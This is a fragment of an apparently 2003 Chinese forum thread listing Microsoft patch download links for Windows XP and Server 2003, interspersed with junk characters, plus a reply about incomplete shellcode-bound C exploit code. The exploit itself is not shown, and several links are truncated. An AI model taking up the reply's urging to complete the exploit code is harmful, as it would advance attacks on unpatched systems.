（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
8 ^* ^. J  z# a$ K
Windows XP 32 bit Edition ：

http://microsoft.com/downloads/d ... &displaylang=en
( K7 ]# i' s' p; a! b5 ?2 \
) ~& W" V2 l/ |3 XWindows XP 64 bit Edition：
0 p; C9 K1 z' d! i
http://microsoft.com/downloads/d ... &displaylang=en
5 \/ q* o( l( W6 Y5 K/ K
7 Z& t4 K1 a$ i; [' s2 sWindows Server 2003 32 bit Edition：
) g' }" R% j6 z
) X, p+ r; L6 x( shttp://microsoft.com/downloads/d ... &displaylang=en

. n) {) r; P% A7 Q" |) f8 BWindows Server 2003 64 bit Edition：
/ {* G8 K8 h0 d$ [+ s3 k
http://microsoft.com/downloads/d ... &displaylang=en
) X. C. k' Y, l

9 H; E  o" n- d+ @+ J! S
# c2 b0 |. F8 I  U2 r
" A" e% B$ d# F" ?$ Z

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。